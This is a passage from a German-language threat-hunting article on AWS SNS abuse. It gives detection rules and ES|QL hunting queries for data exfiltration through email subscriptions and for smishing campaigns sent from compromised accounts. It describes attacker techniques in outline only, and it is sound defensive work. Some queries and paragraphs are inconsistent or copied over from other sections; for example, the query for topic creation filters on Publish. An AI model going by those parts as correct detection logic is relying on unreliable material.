Für die Erkennung und Suche bieten CloudTrail-Audit-Protokolle genügend Transparenz für die nachfolgenden API-Aufrufe aus dieser Aktivität. Sie enthalten auch genügend Kontextinformationen, um eine höhere Genauigkeit dieser anomalen Signale zu ermöglichen. Die folgenden Erkennungen und Hunting-Abfragen nutzen CloudTrail-Daten, die mit der AWS CloudTrail-Integration in unseren Elastic-Stack aufgenommen wurden, sollten jedoch bei Bedarf in das SIEM Ihrer Wahl übersetzt werden können. Bei dieser Aktivität konzentrieren wir uns ausschließlich auf angenommene Rollen, insbesondere auf solche, bei denen EC2-Instances missbraucht werden, aber dies kann auch an anderer Stelle in AWS-Umgebungen stattfinden.

SNS-Thema erstellt von Rare User

Quelle der Erkennungsregel
Quelle der Hunting-Abfrage
MITRA ATT&CK: T1608

Erkennt, wenn ein SNS-Thema von einem seltenen AWS-Benutzeridentitäts-ARN (IAM-Benutzer oder -Rolle) erstellt wird. Diese Erkennung nutzt die Regeln vom Typ Neue Begriffe von Elastic, um zu erkennen, wann beim ersten Auftreten eines Benutzeridentitäts-ARN ein SNS-Thema erstellt wird. Es wäre äußerst ungewöhnlich, wenn eine angenommene Rolle, die normalerweise für EC2-Instances genutzt wird, SNS-Themen erstellt.

Unsere Abfrage nutzt den Regeltyp KQL und Neue Begriffe , um sich auf Themen zu konzentrieren, die von einer übernommenen Rolle speziell für eine EC2-Instance erstellt wurden.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

Hunting-Abfrage (ES|QL)

Unsere Hunting-Abfrage konzentriert sich auf die API-Aktion CreateTopic von einer Entität, deren Identitätstyp eine angenommene Rolle ist. Wir analysieren auch den ARN, um sicherzustellen, dass es sich um eine EC2-Instance handelt, von der diese Anforderung stammt. Wir können dann nach Cloud-Konto, Entität (EC2-Instanz-ID), angenommenem Rollennamen, Region und Benutzeragent aggregieren. Wenn es ungewöhnlich ist, dass die EC2-Instance Berichten zufolge SNS-Themen zufällig erstellt, kann dies ein gutes anomales Signal sein, das untersucht werden sollte.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

Hinweise zur Jagd:

• Es ist bereits ungewöhnlich, dass Anmeldeinformationen aus einer angenommenen Rolle für eine EC2-Instance SNS-Themen nach dem Zufallsprinzip erstellen.
• Wenn ein Zugriffsschlüssel für die Benutzeridentität (aws.cloudtrail.user_identity.access_key_id) im CloudTrail-Audit-Protokoll vorhanden ist, wurde diese Anforderung über die CLI oder programmgesteuert ausgeführt. Diese Schlüssel könnten kompromittiert sein und eine weitere Untersuchung rechtfertigen.
• Ein Angreifer könnte sich in Veröffentlichungs-API-Aktionen einmischen, die für dieses spezielle Thema aufgerufen werden, um zu identifizieren, welche AWS-Ressource Nachrichten veröffentlicht. Mit dem Zugriff auf das Thema könnte der Angreifer dann die Abonnentenliste weiter untersuchen, um nicht autorisierte Abonnenten zu identifizieren.

SNS-Themenabonnement mit E-Mail von seltenem Benutzer

Quelle der Erkennungsregel
Quelle der Hunting-Abfrage
Gehrung att&ck: T1567, T1530

Erkennt, wenn ein SNS-Thema von einem seltenen AWS-Benutzeridentitäts-ARN (IAM-Benutzer oder -Rolle) abonniert wird. Diese Erkennung nutzt die Regeln vom Typ Neue Begriffe von Elastic, um zu erkennen, wann das erste Vorkommen eines Benutzeridentitäts-ARN versucht, ein vorhandenes SNS-Thema zu abonnieren. Die Datenexfiltration, die während unseres obigen Whitebox-Testbeispiels stattgefunden hat, wäre von dieser Bedrohungsjagd abgefangen worden. Eine Warnung wurde generiert, wenn wir ein SNS-Abonnement für einen externen Benutzer einrichten.

Weitere False-Positive-Reduzierungen könnten durch Whitelisting erwarteter Organisations-TLDs in der angeforderten E-Mail-Adresse erzielt werden, wenn das Thema nur für den internen Gebrauch bestimmt ist.

Unsere Abfrage nutzt den Regeltyp KQL und Neue Begriffe, um sich auf Abonnements zu konzentrieren, die eine E-Mail-Adresse angeben. Leider schwärzt CloudTrail die abonnierte E-Mail-Adresse, da dies für die Untersuchung von entscheidender Bedeutung wäre.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Subscribe"
    and aws.cloudtrail.request_parameters: *protocol=email*

Neue Bedingungen Wert: aws.cloudtrail.user_identity.arn

Hunting-Abfrage (ES|QL)

Unsere Hunting-Abfrage nutzt ES|QL, analysiert jedoch die Aktionsparameter der Subscribe-API, um weiter nach dem angegebenen E-Mail-Protokoll zu filtern. Es analysiert auch den Namen des User-Agents, verlässt sich aber weiter auf Aggregationen, um möglicherweise andere anomale User-Agent-Attribute zu identifizieren. Wir haben auch die Region angegeben, in der das Abonnement stattgefunden hat, da es je nach dem spezifischen Geschäftskontext einer Organisation ungewöhnlich sein kann, dass bestimmte Regionen für andere abonniert werden.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Subscribe"
| DISSECT aws.cloudtrail.request_parameters "%{?protocol_key}=%{protocol}, %{?endpoint_key}=%{redacted}, %{?return_arn}=%{return_bool}, %{?topic_arn_key}=%{topic_arn}}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE protocol == "email"
| STATS regional_topic_subscription_count = COUNT(*) by aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE regional_topic_subscription_count == 1
| SORT regional_topic_subscription_count ASC

Hinweise zur Jagd:

• Wenn ein Zugriffsschlüssel für die Benutzeridentität (aws.cloudtrail.user_identity.access_key_id) im CloudTrail-Audit-Protokoll vorhanden ist, wurde diese Anforderung über die CLI oder programmgesteuert ausgeführt. Diese Schlüssel könnten kompromittiert sein und eine weitere Untersuchung rechtfertigen.
• Das Ignorieren des Themen-ARN während der Aggregation ist wichtig, um Anomalien beim ersten Auftreten beim Abonnieren des SNS-Themas mit einer E-Mail zu identifizieren. Indem Abonnements nicht nach Themen-ARN gruppiert werden, stellen wir sicher, dass sich die Abfrage nur auf die Erkennung unerwarteter oder seltener Abonnements konzentriert, unabhängig von bestimmten Themen, die bereits eingerichtet wurden.
• Möglicherweise ist eine weitere Abfrage mit dem ARN der Benutzeridentität als Einschlussfilter erforderlich, um zu identifizieren, welches Thema abonniert wurde.
• Wenn ein anomaler User-Agent-Name beobachtet wird, ist möglicherweise eine sekundäre Untersuchung der User-Agent-Zeichenfolge erforderlich, um festzustellen, ob sie mit automatisierten Skripts, ungewöhnlichen Browsern oder nicht übereinstimmenden Plattformen verknüpft ist. Es ist zwar einfach, diese zu fälschen, aber es ist bekannt, dass Angreifer dies aus unbekannten Gründen nicht tun.

SNS-Themennachricht, die von einem seltenen Benutzer veröffentlicht wurde

Quelle der Erkennungsregel
Quelle der Hunting-Abfrage

Erkennt, wenn eine Nachricht von einem ungewöhnlichen Benutzeridentitäts-ARN in AWS in einem SNS-Thema veröffentlicht wird. Wenn die Rollen- oder Berechtigungsrichtlinie PoLP nicht praktiziert, kann die Veröffentlichung in SNS-Themen zugelassen und somit missbraucht werden. Zum Beispiel Standardrollen, die über AWS Marketplace bereitgestellt werden und die Veröffentlichung in SNS-Themen ermöglichen. Es kann auch bösartige Entitäten identifizieren, die einst SNS-Themen gepusht haben, aber nicht mehr missbraucht werden, wenn Anmeldeinformationen kompromittiert werden. Beachten Sie, dass sich dies ausschließlich auf EC2-Instances konzentriert, aber Sie können anpassen, um unterschiedliche Veröffentlichungsanomalien basierend auf Quelle, Region, Benutzeragent und mehr zu berücksichtigen.

Unsere Abfrage nutzt den Regeltyp KQL und Neue Begriffe, um sich auf Abonnements zu konzentrieren, die eine E-Mail-Adresse angeben. Leider schwärzt CloudTrail die angemeldete E-Mail-Adresse, da dies ein wichtiger Vorteil für die Untersuchung wäre.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

Neue Bedingungen Wert: aws.cloudtrail.user_identity.arn

Hunting-Abfrage (ES|QL)

Unsere Hunting-Abfrage nutzt ES|QL und konzentrierte sich auch auf SNS-Protokolle, bei denen die API-Aktion Veröffentlichen ist. Dies wird nur ausgelöst, wenn es sich bei dem Benutzeridentitätstyp um eine angenommene Rolle handelt und der ARN der Benutzeridentität eine EC2-Instance-ID ist. Die Aggregation nach Konto-ID, Entität, angenommener Rolle, SNS-Thema und Region hilft uns, weitere Anomalien basierend auf der Erwartung dieser Aktivität zu identifizieren. Wir können den Benutzeragenten nutzen, um diese Anrufe zu identifizieren, die von ungewöhnlichen Tools oder Software getätigt werden.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

Hinweise zur Jagd:

• Wenn ein Zugriffsschlüssel für die Benutzeridentität (aws.cloudtrail.user_identity.access_key_id) im CloudTrail-Audit-Protokoll vorhanden ist, wurde diese Anforderung über die CLI oder programmgesteuert ausgeführt. Diese Schlüssel könnten kompromittiert sein und eine weitere Untersuchung rechtfertigen.
• Wenn Sie Terraform, Pulumi usw. bemerken, kann dies mit Testumgebungen, Wartung oder mehr zusammenhängen.
• Python-SDKs, die nicht AWS sind, können darauf hinweisen, dass benutzerdefinierte Tools oder Skripte genutzt werden.

SNS-Direct-to-Phone-Messaging-Spitze

Quelle der Hunting-Abfrage
Gehrung att&ck: T1660

Unsere Hunting-Bemühungen nach hypothetischen SNS-Kompromittierungen, bei denen ein Angreifer Phishing-Kampagnen (Smishing) durchführt, konzentrieren sich auf Veröffentlichungs-API-Aktionen in AWS SNS. Insbesondere verfolgen wir Instanzen, in denen phoneNumber in Anforderungsparametern vorhanden ist, was signalisiert, dass Nachrichten direkt an Telefonnummern und nicht über ein SNS-Thema gesendet werden.

Anstatt sich auf SNS-Themen mit vorab abonnierten Nummern zu verlassen, nutzt der Angreifer die Produktionsberechtigungen für Endpoint Messaging eines Unternehmens aus und nutzt dabei folgende Vorteile:

• Eine genehmigte Origination-ID (sofern die Organisation eine registriert hat).
• Eine Absender-ID (wenn der Angreifer eine solche kontrolliert oder eine vertrauenswürdige Kennung fälschen kann).
• AWS-Langcodes oder Kurzcodes (die dynamisch zugewiesen werden können).

Da AWS SNS Protokolle bereinigt, sind Telefonnummern in CloudTrail nicht sichtbar, aber eine tiefere Analyse in CloudWatch oder Überwachungstools von Drittanbietern kann hilfreich sein.

Hunting-Abfrage (ES|QL)

Diese Abfrage erkennt einen Anstieg der direkten SNS-Nachrichten, der auf Smishing-Kampagnen von kompromittierten AWS-Konten hinweisen kann.

from logs-aws.cloudtrail-*
| WHERE @timestamp > now() - 7 day
| EVAL target_time_window = DATE_TRUNC(10 seconds, @timestamp)
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish" AND
    event.outcome == "success" AND
    aws.cloudtrail.request_parameters LIKE "*phoneNumber*"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| STATS sms_message_count = COUNT(*) by target_time_window, cloud.account.id, aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE sms_message_count > 30

Hinweise zur Jagd:

• AWS entfernt Telefonnummern in Protokollen, sodass eine tiefergehende Analyse über CloudWatch-Protokolle erforderlich sein kann.
• Bei der Untersuchung in CloudWatch wird auch der Nachrichtenkontext bereinigt. Es wäre ideal, die Nachricht auf verdächtige URL-Links zu untersuchen, die in die Textnachrichten eingebettet sind.
• Sie können auch AWS SNS-Bereitstellungsprotokolle (falls aktiviert) auf Nachrichtenmetadaten überprüfen.
• Wenn für Nachrichten kein themenbasiertes Abonnement verwendet wird, wird die direkte Ausrichtung vorgeschlagen.
• Die Quelle dieser Anfragen ist wichtig, wenn Sie sie von einer EC2-Instanz bemerken, ist das eher seltsam, oder Lambda könnte ein erwarteter serverloser Code sein.

Fazit

Vielen Dank, dass Sie sich die Zeit genommen haben, diese Veröffentlichung zum Thema AWS SNS Abuse: Data Exfiltration and Phishing zu lesen. Wir hoffen, dass diese Studie wertvolle Erkenntnisse darüber liefert, wie Angreifer AWS SNS für Datenexfiltration, Smishing und Phishing-Kampagnen nutzen können, sowie praktische Erkennungs- und Hunting-Strategien, um diesen Bedrohungen entgegenzuwirken.

Kernerkenntnisse:

• AWS SNS ist ein leistungsstarker Service, kann aber für böswillige Zwecke missbraucht werden, einschließlich Phishing (Smishing) und Datenexfiltration.
• Angreifer können Produktions-SNS-Berechtigungen missbrauchen, indem sie vorab genehmigte Absender-IDs, Ursprungs-IDs oder Lang-/Kurzcodes verwenden, um Nachrichten außerhalb einer Organisation zu senden.
• Bedrohungsakteure können Fehlkonfigurationen in IAM-Richtlinien, CloudTrail-Protokollierungslücken und SNS-API-Einschränkungen als Waffe einsetzen, um unter dem Radar zu fliegen.
• Obwohl der Missbrauch von SNS in freier Wildbahn (ItW) nicht häufig gemeldet wird, sind wir zuversichtlich, dass seine Verwendung als Waffe und gezielte Ausnutzung bereits stattfindet oder irgendwann auftauchen wird.
• AWS CloudTrail erfasst keine Telefonnummern oder Nachrichten in SNS-Protokollen, sodass die Überwachung von CloudWatch durch Drittanbieter für eine tiefere Analyse unerlässlich ist
• Abfragen zur Bedrohungssuche können dabei helfen, SNS-Themen zu erkennen, die in Direktnachrichten erstellt, abonniert oder empfangen werden, was auf potenziellen Missbrauch hinweist.
• Zu den Erkennungsstrategien gehören die Überwachung von SNS-API-Aktionen, die Identifizierung ungewöhnlicher SNS-Nachrichtenspitzen und die Kennzeichnung von Anomalien aus EC2- oder Lambda-Quellen.
• Zu den Abwehrmaßnahmen sollten die Härtung von IAM-Richtlinien, CloudTrail- und SNS-Protokollierung, anomaliebasierte Erkennungen und bewährte Sicherheitsmethoden gehören, wie von AWS empfohlen, um die Angriffsfläche zu reduzieren.

AWS SNS wird in Sicherheitsdiskussionen oft übersehen, aber wie diese Studie zeigt, stellt es einen praktikablen Angriffsvektor für Angreifer dar, wenn es nicht überwacht wird. Wir ermutigen Verteidiger, proaktiv zu bleiben, die Erkennungslogik zu verfeinern und robuste Sicherheitskontrollen zu implementieren, um diese Risiken zu mindern und die Sicherheitslage zu verbessern.

Danke fürs Lesen und viel Spaß bei der Jagd!

Referenzen

• https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/
• https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/
• https://catalog.workshops.aws/build-sms-program/en-US